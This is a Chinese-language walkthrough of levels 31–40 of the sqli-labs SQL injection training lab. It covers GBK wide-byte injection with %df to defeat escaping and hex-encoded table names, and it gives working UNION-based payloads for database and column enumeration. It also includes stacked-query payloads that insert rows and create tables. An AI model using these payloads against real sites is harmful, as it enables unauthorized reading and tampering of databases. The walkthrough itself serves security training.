sqli-labs通關教程----31~40關
阿新 • • 發佈:2020-04-21
第三十一關
這關一樣,閉合變成(",簡單測試,#號不能用
?id=1") and ("1")=("1")--+
第三十二關
這關會把我們的輸入裡的單引號前面都加一個\使得單引號轉義,使它沒有任何意義只是一個字元,所以應該是寬位元組注入。什麼是寬位元組?
- 當某字元的大小為一個位元組時,稱其字元為窄位元組.
- 當某字元的大小為兩個位元組時,稱其字元為寬位元組.
- 所有英文預設佔一個位元組,漢字佔兩個位元組
- 常見的寬位元組編碼:GB2312,GBK,GB18030,BIG5,Shift_JIS等等
這裡有兩個思路,第一個我們自己再新增一個斜槓\把系統新增的\轉義,但是這裡會在我們新增的\前面還會再新增兩個個\把我們的\和'一起給轉義了.........
還有個思路就是寬位元組注入,
當使用寬位元組編碼,如:GBK時,兩個連在一起的字元會被認為是漢字,我們可以在單引號前加一個字元,使其和斜槓(\)組合被認為成漢字,從未達到讓斜槓消失的目的,進而使單引號發揮作用
注意:前一個字元的Ascii要大於128,兩個字元才能組合成漢字
就比如在單引號前面輸入一個%df這樣進入系統就變成%df%5c%27,但是因為mysql使用的寬位元組編碼會把%df%5c當做一個漢字,所以就把\給註釋掉了
爆庫名
?id=-1%df' union select 1,2,database() --+
看到\和%df已經組合成功了
爆列名:
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
這裡將users進行hex編碼可繞過'單引號
之後操作一樣
第三十三關
這關和32關一樣啊,payload一模一樣都能用,看了下原始碼連這關的標題都寫的32...
第三十四關
這關就是就是變成POST請求,order by只能猜到2列資料
爆列名:
uname=admin1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin1&submit=Submit&
第三十五關
這關還是有轉義,但變成數字型注入了,不用引號了。直接注入就行。但是指定表名和資料庫名查詢還是要hex編碼。
爆列名:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
第三十六關
這關就是瀏覽器輸入的值經過mysql_real_escape_string() 函式轉義 SQL 語句中使用的字串中的特殊字元。
下列字元受影響:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
就是被轉義的關鍵字比較多,其實還是闊以用之前32關的寬字元注入來做,一樣的payload
爆列名:
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
第三十七關
這關和34關類似,一樣的payload,用post方法提交
爆列名:
uname=admin1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin1&submit=Submit&
第三十八關
這關看標題是堆疊注入,就是把很多條sql語句堆在一起使用,用分號區分不同的sql語句。雖然限制很多但利用mysqli_multi_query()函式就支援多條sql語句同時執行。
平常sql注入受到sql語句的限制就是來查查資料,但利用堆疊注入完全可以自己構造sql語句,對資料庫進行增刪改查操作,可謂危害很大。
這關也可以用尋常的sql注入套路。
向users表插入資料
?id=1';insert into users(id,username,password) value (66,'acca','bbc') --+
新建一個以emails表為模板的表
?id=1';create table test like emails;--+
第三十九關
和上一關一樣,沒有閉合了變成數字型注入,其他一樣。
新建一個以emails表為模板的表
?id=1;create table test like emails;--+
第四十關
與前幾關一樣,閉合變成')
插入資料
?id=1') ;insert into users(id,username,password) values('17','aaa','bbb'); %23